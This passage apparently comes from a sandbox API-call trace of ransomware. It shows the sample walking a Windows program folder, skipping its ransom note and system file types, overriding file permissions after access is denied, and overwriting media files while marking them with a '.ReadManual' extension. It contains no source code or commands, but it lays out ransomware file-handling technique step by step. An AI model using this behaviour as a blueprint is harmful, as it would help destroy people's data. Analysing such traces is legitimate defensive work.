lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png.ReadManual.5A595725" [0252.996] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png.ReadManual.5A595725") returned 102 [0252.996] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37366472885) returned 1 [0252.996] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png")) returned 0x20 [0252.996] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.996] GetLastError () returned 0x5 [0252.996] GetNamedSecurityInfoW () returned 0x0 [0252.997] SetNamedSecurityInfoW () returned 0x0 [0252.997] SetNamedSecurityInfoW () returned 0x0 [0252.997] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.998] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4456) returned 1 [0252.998] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1168, lpName=0x0) returned 0x1a0 [0252.998] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0252.998] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.998] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.000] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.000] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1168) returned 0x2f0000 [0253.000] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.000] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37366896634) returned 1 [0253.000] CloseHandle (hObject=0x1a0) returned 1 [0253.000] SetSecurityInfo () returned 0x5 [0253.000] SetSecurityInfo () returned 0x5 [0253.000] LocalFree (hMem=0x674d38) returned 0x0 [0253.000] CloseHandle (hObject=0x184) returned 1 [0253.001] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dbda349, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc04, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NextMenuButtonIconSubpictur.png", cAlternateFileName="")) returned 1 [0253.001] lstrcpyW (in: lpString1=0x6ab914, lpString2="NextMenuButtonIconSubpictur.png" | out: lpString1="NextMenuButtonIconSubpictur.png") returned="NextMenuButtonIconSubpictur.png" [0253.001] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="RecoveryManual.html") returned -1 [0253.001] StrStrIW (lpFirst="NextMenuButtonIconSubpictur.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.001] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.001] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.001] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.001] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.001] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.001] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.001] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.001] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.001] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.002] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.002] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.002] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.002] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.002] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.002] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" [0253.002] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png.ReadManual.5A595725" [0253.002] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png.ReadManual.5A595725") returned 111 [0253.002] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37367054095) returned 1 [0253.002] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png")) returned 0x20 [0253.002] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.002] GetLastError () returned 0x5 [0253.002] GetNamedSecurityInfoW () returned 0x0 [0253.002] SetNamedSecurityInfoW () returned 0x0 [0253.002] SetNamedSecurityInfoW () returned 0x0 [0253.003] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.003] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3076) returned 1 [0253.003] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc04, lpName=0x0) returned 0x1a0 [0253.003] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xee) returned 1 [0253.004] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.004] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.005] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.006] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc04) returned 0x2f0000 [0253.006] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.006] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37367462176) returned 1 [0253.006] CloseHandle (hObject=0x1a0) returned 1 [0253.006] SetSecurityInfo () returned 0x5 [0253.006] SetSecurityInfo () returned 0x5 [0253.006] LocalFree (hMem=0x674d38) returned 0x0 [0253.006] CloseHandle (hObject=0x184) returned 1 [0253.007] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70184844, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70184844, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc26605, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa942c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Notes_loop.wmv", cAlternateFileName="")) returned 1 [0253.007] lstrcpyW (in: lpString1=0x6ab914, lpString2="Notes_loop.wmv" | out: lpString1="Notes_loop.wmv") returned="Notes_loop.wmv" [0253.007] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="RecoveryManual.html") returned -1 [0253.007] StrStrIW (lpFirst="Notes_loop.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.007] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0253.007] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0253.007] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0253.007] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0253.007] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0253.007] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0253.007] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0253.007] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0253.007] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0253.007] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0253.007] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0253.007] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0253.007] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0253.007] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0253.007] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" [0253.007] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv.ReadManual.5A595725" [0253.007] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv.ReadManual.5A595725") returned 94 [0253.007] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37367612688) returned 1 [0253.007] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv")) returned 0x20 [0253.008] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.008] GetLastError () returned 0x5 [0253.008] GetNamedSecurityInfoW () returned 0x0 [0253.009] SetNamedSecurityInfoW () returned 0x0 [0253.009] SetNamedSecurityInfoW () returned 0x0 [0253.010] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.010] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=693292) returned 1 [0253.010] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa942c, lpName=0x0) returned 0x1a0 [0253.010] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xcc) returned 1 [0253.010] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.010] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.012] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.012] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa942c) returned 0x2690000 [0253.032] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0253.033] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37370210028) returned 1 [0253.033] CloseHandle (hObject=0x1a0) returned 1 [0253.033] SetSecurityInfo () returned 0x5 [0253.033] SetSecurityInfo () returned 0x5 [0253.034] LocalFree (hMem=0x674d38) returned 0x0 [0253.034] CloseHandle (hObject=0x184) returned 1 [0253.034] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7021cdb8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7021cdb8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc728c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbebec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Notes_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0253.034] lstrcpyW (in: lpString1=0x6ab914, lpString2="Notes_loop_PAL.wmv" | out: lpString1="Notes_loop_PAL.wmv") returned="Notes_loop_PAL.wmv" [0253.034] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="RecoveryManual.html") returned -1 [0253.034] StrStrIW (lpFirst="Notes_loop_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.034] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0253.034] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0253.034] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0253.034] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0253.034] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0253.034] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0253.034] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0253.034] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0253.034] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0253.034] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0253.034] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0253.034] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0253.034] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0253.034] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0253.034] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" [0253.034] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv.ReadManual.5A595725" [0253.034] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv.ReadManual.5A595725") returned 98 [0253.034] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37370310295) returned 1 [0253.034] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv")) returned 0x20 [0253.035] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.035] GetLastError () returned 0x5 [0253.035] GetNamedSecurityInfoW () returned 0x0 [0253.035] SetNamedSecurityInfoW () returned 0x0 [0253.035] SetNamedSecurityInfoW () returned 0x0 [0253.036] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.036] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=781292) returned 1 [0253.036] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbebec, lpName=0x0) returned 0x1a0 [0253.036] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd4) returned 1 [0253.037] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.037] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.038] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.038] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbebec) returned 0x2690000 [0253.063] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0253.065] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37373332958) returned 1 [0253.065] CloseHandle (hObject=0x1a0) returned 1 [0253.065] SetSecurityInfo () returned 0x5 [0253.065] SetSecurityInfo () returned 0x5 [0253.065] LocalFree (hMem=0x674d38) returned 0x0 [0253.065] CloseHandle (hObject=0x184) returned 1 [0253.072] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11ad, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0253.072] lstrcpyW (in: lpString1=0x6ab914, lpString2="ParentMenuButtonIcon.png" | out: lpString1="ParentMenuButtonIcon.png") returned="ParentMenuButtonIcon.png" [0253.072] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="RecoveryManual.html") returned -1 [0253.073] StrStrIW (lpFirst="ParentMenuButtonIcon.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.073] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.073] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.073] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.073] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.073] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.073] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.073] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.073] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.073] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.073] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.073] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.073] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.073] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.073] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.073] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" [0253.073] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png.ReadManual.5A595725" [0253.073] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png.ReadManual.5A595725") returned 104 [0253.073] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37374183499) returned 1 [0253.073] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png")) returned 0x20 [0253.073] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.073] GetLastError () returned 0x5 [0253.073] GetNamedSecurityInfoW () returned 0x0 [0253.074] SetNamedSecurityInfoW () returned 0x0 [0253.074] SetNamedSecurityInfoW () returned 0x0 [0253.075] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.075] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4525) returned 1 [0253.075] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11ad, lpName=0x0) returned 0x1a0 [0253.075] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe0) returned 1 [0253.075] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.076] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.077] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.077] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11ad) returned 0x2f0000 [0253.077] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.078] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37374634602) returned 1 [0253.078] CloseHandle (hObject=0x1a0) returned 1 [0253.078] SetSecurityInfo () returned 0x5 [0253.078] SetSecurityInfo () returned 0x5 [0253.078] LocalFree (hMem=0x674d38) returned 0x0 [0253.078] CloseHandle (hObject=0x184) returned 1 